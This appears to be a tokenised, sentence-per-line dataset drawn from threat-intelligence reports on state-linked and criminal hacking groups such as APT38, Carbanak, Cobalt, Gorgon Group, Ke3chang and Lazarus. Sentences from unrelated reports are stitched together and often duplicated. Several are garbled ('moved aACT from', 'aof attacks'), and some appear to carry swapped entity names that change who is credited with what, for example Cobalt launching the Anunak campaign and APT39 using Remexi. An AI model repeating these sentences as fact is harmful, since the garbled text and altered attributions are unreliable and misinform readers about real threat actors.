We can confirm that the APT38 operator activity is linked to the North Korean regime , but maintains a set of common characteristics , including motivation , malware , targeting , and TTPs that set it apart from other statesponsored operations .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions to raise money for the North Korean regime .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions and financial systems to raise money for the North Korean regime .
Although the APT38 's primary targets appear to be Financial Exchange banks and other financial organizations , they have also Financial Exchange targeted countries ' media organizations with a focus on the financial sector .
Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
While North Korean cyber operations against specific countries may have been driven by diplomatic factors and perceived insults against Pyongyang , the application of increasingly restrictive and numerous financial sanctions against North Korea probably contributed to the formation of APT38 .
APT38 's operations began in February 2014 and were likely influenced by financial sanctions enacted in March 2013 that blocked bulk cash transfers and restricted North Korea 's access to international banking systems .
APT37 ( Reaper ) , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
APT37 , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
Early APT38 operations suggest that the group began targeting financial institutions with an intent to manipulate financial transaction systems at least as early as February 2014 , although we did not observe fraudulent transactions until 2015 .
We do not have evidence that the earliest targeted financial institutions were victimized by fraudulent transactions before APT38 left the compromised environments , possibly indicating that APT38 was conducting reconnaissance-only activity at that time .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
From November 2015 through the end of 2016 , APT38 was involved in at least nine separate compromises against banks .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
Further , the recent DOJ complaint provides insight into initial compromise techniques conducted by North Korean operators against APT38 targets , which may have been leveraged as part of the initial compromise into the targeted organizations .
This is corroborated by our identification of TEMP.Hermit 's use of MACKTRUCK at a bank , preceding the APT38 operation targeting the bank 's SWIFT systems in late 2015 .
APT38 relies on DYEPACK , a SWIFT transaction-hijacking framework , to initiate transactions , steal money , and hide any evidence of the fraudulent transactions from the victimized bank .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
During this heist , APT38 waited for a holiday weekend in the respective countries to increase the likelihood of hiding the transactions from banking authorities .
During one reported incident , APT38 caused an outage in the bank 's essential services .
We attribute APT38 to North Korean state-sponsored operators based on a combination of technical indicators linking the activity to Pyongyang and details released by DOJ implicating North Korean national Park Jin Hyok in a criminal conspiracy .
As detailed in the DOJ complaint , a sample of WHITEOUT malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
Malware overlaps between APT38 and TEMP.Hermit highlight the shared development resources accessible by multiple operational groups linked to North Korean state-sponsored activity .
APT39 has prioritized the telecommunications sector , with additional targeting of the travel industry and IT firms that support it and the high-tech industry .
This is evidence of shared motivation and intent to target the SWIFT system by the North Korean operators performing the reconnaissance and APT38 which later targeted that organization .
Although APT38 is distinct from other TEMP.Hermit activity , both groups operate consistently within the interests of the North Korean state .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea 's Reconnaissance General Bureau ( RGB ) .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's targeting of financial institutions is most likely an effort by the North Korean government to supplement their heavily-sanctioned economy .
We have moderate confidence APT39 operations are conducted in support of Iranian national interests based on regional targeting patterns focused in the Middle East .
APT39 's focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks , which have been linked to influence operations , disruptive attacks , and other threats .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
One group , which we call Cadelle , uses Backdoor.Cadelspy , while the other , which we've named Chafer , uses Backdoor.Remexi and Backdoor.Remexi.B .
APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol ( RDP ) , Secure Shell ( SSH ) , PsExec , RemCom , and xCmdSvc .
The APT39 were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BlackOasis ' interests span a wide gamut of figures involved in Middle Eastern politics .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japanese organizations such as government agencies ( including defense ) as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japan such as government agencies as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008 — at least based on the file properties of the decoy documents they've been sending to their targets .
Secureworks® incident responders and Counter Threat Unit™ ( CTU ) researchers investigated activities associated with the BRONZE BUTLER ( also known as Tick ) threat group , which likely originates in the People .
Targeting data supports the belief that APT39 's key mission is to track or monitor targets of interest , collect personal information , including travel itineraries , and gather customer data from telecommunications firms .
BRONZE BUTLER has used a broad range of publicly available ( Mimikatz and gsecdump ) and proprietary ( Daserf and Datper ) tools .
BRONZE BUTLER are also fluent in Japanese , crafting phishing emails in native Japanese and operating successfully within a Japanese-language environment .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
BRONZE BUTLER uses credential theft tools such as Mimikatz and WCE to steal authentication information from the memory of compromised hosts .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Several xxmm samples analyzed by CTU researchers incorporate Mimikatz , allowing BRONZE BUTLER to issue Mimikatz commands directly from xxmm .
BRONZE BUTLER compromises organizations to conduct cyberespionage , primarily focusing on Japan .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when the group compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data Exfiltration and to provide remote access to infected machines .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when BRONZE BUTLER compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
In some cases , the attackers used the Society for Worldwide Interbank Financial Telecommunication ( SWIFT ) network to transfer money to their accounts .
Carbanak is a backdoor used by the attackers to compromise the victim .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server 2008 , Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
FIN7 is a financially-motivated threat group that has been associated with malicious operations dating back to late 2015 .
As with previous campaigns , and as highlighted in our annual M-Trends 2017 report , FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
While FIN7 has embedded VBE as OLE objects for over a year , they continue to update their script launching mechanisms .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
The first successful bank robbery was committed by this group in January 2013 .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
We have no evidence of compromises against banks in Western Europe or United States , but it should be noted that the attackers methods could be utilized against banks outside of Russia as well .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
Without any insight into the evidence Kaspersky has obtained , we can only repeat our view that Anunak has targeted only banks in Russia and we have no concrete reports of compromised banks outside of Russia directly related to this criminal group .
Charming Kitten is an Iranian cyberespionage group operating since approximately 2014 .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The Charming Kitten' focus appears to be individuals of interest to Iran in the fields of academic research .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as OilRig and CopyKittens .
Flying Kitten ( which is another name given by the security industry to Charming Kitten ) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI ( Islamic Republic of Iran ) government and foreign espionage targets .
Flying Kitten was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of government and foreign espionage targets .
At certain times , Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team " .
During intense intelligence gathering over the last 24 months , we observed the technical capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed Iranian effort .
TinyZBot is a bot written in C# and developed by the Cleaver team .
Some of the teams publicly known today include Iranian Cyber Army , Ashiyane , Islamic Cyber Resistance Group , Izz ad-Din al-Qassam Cyber Fighters , Parastoo , Shabgard , Iran Black Hats and many others 9 .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
The Cobalt group 's traditional " stomping grounds " are the Eastern Europe , Central Asia , and Southeast Asia .
Against targets in the CIS countries , the Cobalt also used their own infrastructure , which included rented dedicated servers .
In several cases , the Cobalt compromised company infrastructure and employee accounts in order to send phishing messages to partner companies in North and South America , Europe , CIS countries , and Central and Southeast Asia .
To ensure remote access to the workstation of an employee at a target organization , the Cobalt group ( as in previous years ) uses Beacon , a Trojan available as part of commercial penetration testing software .
Artifacts indicated the involvement of the Cobalt that , according to Positive Technologies information , from August to October had performed similar successful attacks in Eastern Europe , and it 's likely that this group may will soon become active in the West .
In a recent spear-phishing campaign , the Cobalt Hacking Group used a remote code execution vulnerability in Microsoft Office software to connect to its command and control server via Cobalt Strike .
The basic principles of targeted attacks on financial institutions have not changed since 2013 when the Anunak , Corkow , Buhtrap , and Lurk groups began conducting the first attacks on Russian banks .
In a recent spear-phishing campaign , the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike , but ended up revealing all targets .
This isn't the first time we've seen Cobalt makes this error—back in March , an attack focussing on 1,880 targets across financial institutions in Kazakhstan had the same flaw .
The Carbanak attacks targeting over a 100 financial institutions worldwide .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the Cobalt have attempted to attack banks and financial institutions using pieces of malware they designed .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
The organised crime group started its high-tech criminal activities in late 2013 by launching the Anunak malware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
One of the Cobalt Group 's latest campaigns , an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor , was investigated and presented by the Talos research team .
The Cobalt started its high-tech criminal activities in late 2013 by launching the Anunak malware campaign that targeted financial transfers and ATM networks of financial institutions around the world .
The Cobalt group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
The hacking group misused Cobalt Strike , for instance , to perpetrate ATM cyber heists and target financial institutions across Europe , and interestingly , Russia .
If successful , Cobalt goes on to attack financial institutions outside the country .
The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled .
As part of our monitoring of Iranian threat agents activities , we have detected that since October 2016 and until the end of January 2017 , the Jerusalem Post , as well as multiple other Israeli websites and one website in the Palestinian Authority were compromised by Iranian threat agent CopyKittens .
CopyKittens use several self-developed malware and hacking tools that have not been publicly reported to date , and are analyzed in this report : TDTESS backdoor ; Vminst , a lateral movement tool ; NetSrv , a Cobalt Strike loader ; and ZPP , a files compression console program .
CopyKittens often uses the trial version of Cobalt Strike , a publicly available commercial software for " Adversary Simulations and Red Team Operations " .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
The group , which we have given the name Gallmaker , has been operating since at least December 2017 , with its most recent activity observed in June 2018 .
Rather , the Gallmaker 's attack activity we observed is carried out exclusively using LotL tactics and publicly available hack tools .
Gallmaker used lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange ( DDE ) protocol in order to gain access to victim machines .
Should a user enable this content , the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim 's system .
Back in 2013 , CopyKittens used several Facebook profiles to spread links to a website impersonating Haaretz news , an Israeli newspaper .
Gallmaker 's activity appears to be highly targeted , with its victims all related to government , military , or defense sectors .
Gallmaker 's targets are embassies of an Eastern European country .
There are no obvious links between the Eastern European and Middle Eastern targets , but it is clear that Gallmaker is specifically targeting the defense , military , and government sectors .
The group has carried out attacks most months since December 2017 .
Its activity subsequently increased in the second quarter of 2018 , with a particular spike in April 2018 .
The fact that Gallmaker appears to rely exclusively on LotL tactics and publicly available hack tools makes its activities extremely hard to detect .
The Gamaredon Group primarily makes use of compromised domains , dynamic DNS providers , Russian and Ukrainian country code top-level domains ( ccTLDs ) , and Russian hosting providers to distribute their custom-built malware .
Gallmaker may well have continued to avoid detection were it not for Symantec 's technology .
In this instance , Symantec identified the specific PowerShell commands used by Gallmaker as being suspicious , leading to the discovery of this new campaign .
Without Symantec 's advanced AI-based capabilities , Gallmaker 's activities may well have remained undetected .
Previously , LookingGlass reported on a campaign they named " Operation Armageddon " , targeting individuals involved in the Ukrainian military and national security establishment .
The earliest discovered sample ( based on compile times and sandbox submission times ) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro .
The scripts would also use wget to send POST requests to command and control ( C2 ) servers that would contain information about the compromised system .
These VNC exectuables would either be included in the SFX file or downloaded by the batch script .
The batch script would then attempt to have the VNC program connect to a command and control ( C2 ) server to enable the server to control the compromised system .
While the most recent samples observed still use batch scripts and SFX files , the Gamaredon Group has moved aACT from applications like wget , Remote Manipulator MAL , VNC and ChkFlsh.exe .
The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government .
Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon .
Periodically , researchers at Palo Alto Networks hunt through WildFire execution reports , using AutoFocus , to identify untagged samples ' artifacts in the hopes of identifying previously undiscovered malware families , behaviors , and campaigns .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millions of dollars while infecting hundreds of financial institutions in at least 30 countries .
Today at the Security Analyst Summit ( SAS 2016 ) , Kaspersky Lab is announcing the discovery of two new gangs engaged in APT-style bank robberies – Metel and GCMAN – and the reemergence of the Carbanak group with new targets in its sights .
In 2015 , Kaspersky Lab researchers conducted Incident Response for 29 organizations located in Russia and infected by these three groups .
Kaspersky Lab is releasing crucial Indicators of Compromise ( IOCs ) and other data to help organizations search for traces of these attack groups in their corporate networks .
In all , Kaspersky Lab discovered Metel in more than 30 financial institutions .
It is highly likely that this threat is far more widespread and we urge financial institutions around the world to scan their networks for signs of the Metel malware .
A second group , which we call GCMAN because the malware is based on code compiled on the GCC compiler , emerged recently using similar techniques to the Metel Group to infect banking institutions and attempt to transfer money to e-currency services .
Our investigations revealed that the attackers drove around several cities in Russia , stealing money from ATMs belonging to different banks .
Once inside the network , the GCMAN group uses legitimate and penetration testing tools such as Putty , VNC , and Meterpreter for lateral movement .
Our investigation revealed an attack where the GCMAN group then planted a cron script into bank 's server , sending financial transactions at the rate of $200 per minute .
The GCMAN group used an MS SQL injection in commercial software running on one of bank 's public web services , and about a year and a half later , they came back to cash out .
During that time they poked 70 internal hosts , compromised 56 accounts , making their ACT from 139 attack sources ( TOR and compromised home routers ) .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
Kaspersky Lab 's research team responded to three financial institutions in Russia that were infected with the GCMAN malware .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
Recently Subaat drew our attention due to renewed targeted attack activity .
Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec , in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking , which we are calling Gorgon Group .
Starting in February 2018 , Palo Alto Networks identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
Starting in February 2018 , Palo Alto Networks Unit 42 identified aof attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
Starting in February 2018 , Unit 42 identified a campaign of attacks performed by members of Gorgon Group targeting governmental organizations in the United Kingdom , Spain , Russia , and the United States .
APT38 's increasingly aggressive targeting against banks .
Gorgon Group used common URL shortening services to download payloads .
The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques .
APT38 has paralleled North Korea 's worsening financial condition .
On much of the C2 infrastructure we identified several crimeware family samples .
While investigating the domains and infrastructure used by the phishing components of Gorgon Group , Unit 42 researchers witnessed several common operational security flaws with Gorgon Group 's actors throughout their many campaigns .
360 and Tuisec already identified some Gorgon Group members .
RATs such as NjRat and infostealers like Lokibot were leveraging the same C2 infrastructure as that of the targeted attacks .
it 's not known if the attackers physically reside in Pakistan .
Gorgon used numerous decoy documents and phishing emails , both styles of attacks lacked overall sophistication .
While it 's not known if the attackers physically reside in Pakistan , all members of Gorgon Group purport to be in Pakistan based on their online personas .
Starting in mid-February , Unit 42 researchers have been tracking an active campaign sharing a significant portion of infrastructure leveraged by Gorgon Group for criminal and targeted attacks .
Unit 42 researchers have been tracking Gorgon Group for criminal and targeted attacks .
As part of the investigation , Unit 42 researchers were able to identify an interesting characteristic about how the Gorgon Group crew uses shared infrastructure between cybercrime and targeted attacks .
The crew combines both regular crime and targeted attack objectives using the same domain infrastructure over time , rarely changing their TTPs .
One interesting note about the criminal activity of Gorgon Group is their usage of Bitly .
Between April 1 , 2018 and May 30 , 2018 , we observed the domain stevemike-fireforce.info used in a Gorgon Group cybercrime campaign involving more than 2,300 emails and 19 documents in the initial attack .
Similar to that of their targeted attacks , Gorgon Group leveraged Bitly for distribution and shortening of C2 domains .
Beginning in early March 2018 , Unit 42 started observing targeted attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Leveraging click counts for the campaign for Bitly , we were able to see Gorgon Group 's activity volume increase throughout April .
As we continued to investigate , it became apparent that Gorgon Group had been consistently targeting worldwide governmental organizations operating within Pakistan .
Starting in mid-February .
Additionally , during that time , members of Gorgon Group were also performing criminal operations against targets across the globe , often using shared infrastructure with their targeted attack operations .
Unit 42 researchers have been tracking an active campaign .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Beginning in early March 2018 , Unit 42 started observing Gorgon group attacks against Russian , Spanish and United States government agencies operating in Pakistan .
Like all of Gorgon Group 's members , Fudpage 's online profile , infrastructure utilization and standardization , connects them back to Gorgon Group .
Ultimately , this lead us to the conclusion that several of Gorgon Group 's members have a nexus in Pakistan .
Gorgon Group isn't the first actor group we've witnessed dabble in both nation state level and criminal attacks .
Overall , in spite of the lack of sophistication in Gorgon Group 's activity , they were still relatively successful ; once again proving that simple attacks on individuals without proper protections , work .
On January 15 , Advanced Threat Research discovered an operation using a new variant of the SYSCON backdoor .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
While Gorgon Group has been making minor changes in their methodologies , they are still actively involved in both targeted and criminal attacks .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
This key was also used in the Honeybee campaign and appears to have been used since August 2017 .
Several additional documents surfaced between January 17 and February 3 .
All contain the same Visual Basic macro code and author name as Honeybee .
Some of the malicious documents were test files without the implant .
From our analysis , Honeybee submitted most of these documents from South Korea , indicating that some of the targeting was in South Korea .
Honeybee attacked beyond the borders of South Korea to target Vietnam , Singapore , Argentina , Japan , Indonesia , and Canada .
Honeybee appears to target humanitarian aid and inter-Korean affairs .
McAfee Advanced Threat Research team 's analysis , we find multiple components from this operation are unique from a code perspective , even though the code is loosely based on previous versions of the SYSCON backdoor .
Large-scale cyber espionage campaigns such as " GhostNet " .
As the crisis in Syria escalates , FireEye researchers have discovered a cyber espionage campaign , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
As the crisis in Syria escalates , FireEye researchers have discovered a threat group , which we call " Ke3chang " , that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe .
We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010 .
FireEye gained visibility into one of 23 known command-and-control ( CnC ) servers operated by the Ke3chang actor for about one week .
Each attack comprises a variety of phases , including reconnaissance , exploitation , command and control , lateral movement , and Exfiltration .
The Ke3chang attackers have been active since at least 2010 .
traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
The Ke3chang have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , chemicals , manufacturing , mining sectors .
August 2013 , FireEye gained visibility on one of 22 CnC servers used at that time by the Ke3chang attackers .
In this report , we present the historical intelligence we have gathered on the Ke3chang campaign , as well as an in-depth assessment of the ongoing Syrian-themed attacks against these MFAs .
Ke3chang attackers have used spear-phishing emails .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Traditionally , the Ke3chang attackers have used spear-phishing emails with either a malware attachment or a link to a malicious download .
Over the years , the Ke3chang attackers have used three types of malware that we call : " BS2005 " , " BMW " , and " MyWeb " .
it is a typical first stage backdoor commonly found in APT attacks .
The attackers have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
All of the CnC communications are performed over the HTTP protocol .
The current Ke3chang campaign leverages the BS2005 malware , while older activity from 2010 - 2011 leveraged BMW , followed by the MyWeb malware sporadically used in between .
A trait common to all three malware families we analyzed is that they use the IWebBrowser2 COM interface to perform their CnC communication .
Three months after the Olympics-themed attacks , FireEye observed a new BS2005 campaign labeled " newtiger " , which is possibly a reference to an older 2010 campaign labeled " tiger " .
Using information from the FireEye DTI cloud , FireEye observed that Ke3chang targeted a single firm .
The Ke3chang attackers used the older " MyWeb " malware family from 2010 to 2011 .
The Ke3chang attackers used the older MyWeb malware family from 2010 to 2011 .
During our period of visibility into the BS2005 " moviestar " campaign against various ministries of foreign affairs in Europe , FireEye discovered that the Ke3chang had initially tested the malware in virtual machines , prior to compromising actual targets .
The MyWeb sample that FireEye analyzed has a compile date of 1/20/2011 .
At least one of the attacks in this campaign leveraged a European security and defense-themed lure , which aligns with the targeting preferences for this group .
MyWeb is the second-generation malware used by Ke3chang .
ministries of foreign affairs in Europe have been targeted and compromised by a threat actor we call Ke3chang .
This attack used the crisis in Syria as a lure to deliver malware to its targets .
Tracking the malicious activities of the elusive Ke3chang APT group , ESET researchers have discovered new versions of malware families linked to the group , and a previously unreported backdoor .
Furthermore , FireEye has presented evidence indicating that the Ke3chang attackers have been active since at least 2010 and have attacked targets related to G20 meetings in the past .
During our brief window of visibility into one of the known 22 CnC nodes , FireEye observed the Ke3chang conducting reconnaissance and moving laterally throughout the compromised networks .
Ke3chang attackers are operating within China .
In May 2017 , NCC Group 's Incident Response team reacted to an ongoing incident .
which provides a range of services to UK Government .
APT15 was targeting information related to UK government departments and military technology .
backdoors that now appear to be part of APT15 's toolset .
This report demonstrates that Ke3chang is able to successfully penetrate government targets using exploits for vulnerabilities that have already been patched and despite the fact that these ministries have defenses in place .
RoyalDNS - required APT15 .
The Ke3chang group also used keyloggers and their own .NET tool to enumerate folders and dump data from Microsoft Exchange mailboxes .
APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets .
This time , APT15 opted for a DNS based backdoor : RoyalDNS .
APT15 then used a tool known as RemoteExec .
APT15 then used a tool known as RemoteExec ( similar to Microsoft .
Coincidentally , following the recent hack of a US Navy contractor and theft of highly sensitive data on submarine warfare , we have found evidence of very recent activity by a group referred to as APT15 , known for committing cyber espionage which is believed to be affiliated with the Chinese government .
APT15 is known for committing cyberespionage against companies and organizations located in many different countries , targeting different sectors such as the oil industry , government contractors , military , and more .
Other names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
ther names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group ; although posted in March 2018 , it refers to a campaign in 2017 .
both attributed to Chinese government affiliated groups .
DLL hijacking techniques have been seen in the past with the APT15 group .
cyber actors of the North Korean to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
The U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA .
Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets , keyloggers , remote access tools ( RATs ) , and wiper malware .
Variants of malware and tools used by HIDDEN COBRA actors include Destover and Hangman .
DHS has previously released Alert TA14-353A .
The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report .
Our analysis shows that the cybercriminals behind the attack against an online casino in Central America , and several other targets in late-2017 , were most likely the infamous Lazarus hacking group .
The Lazarus Group was first identified in Novetta 's report Operation Blockbuster in February 2016 .
cyberattacks against high-value targets in Ukraine in December 2015 and December 2016 .
In all of these incidents , the Lazarus utilized similar toolsets , including KillDisk that was executed on compromised machines .
We are confident this KillDisk malware was deployed by Lazarus , rather than by another , unrelated attacker .
This recent attack against an online casino in Central America suggests that hacking tools from the Lazarus toolset are recompiled with every attack ( we didn't see these exact samples anywhere else ) .
Utilizing KillDisk in the attack scenario most likely served one of two purposes : the attackers covering their tracks after an espionage operation , or it was used directly for extortion or cyber-sabotage .
Today we'd like to share some of our findings , and add something new to what 's currently common knowledge about Lazarus Group activities , and their connection to the much talked about February 2016 incident , when an unknown attacker attempted to steal up to $851M USD from Bangladesh Central Bank .
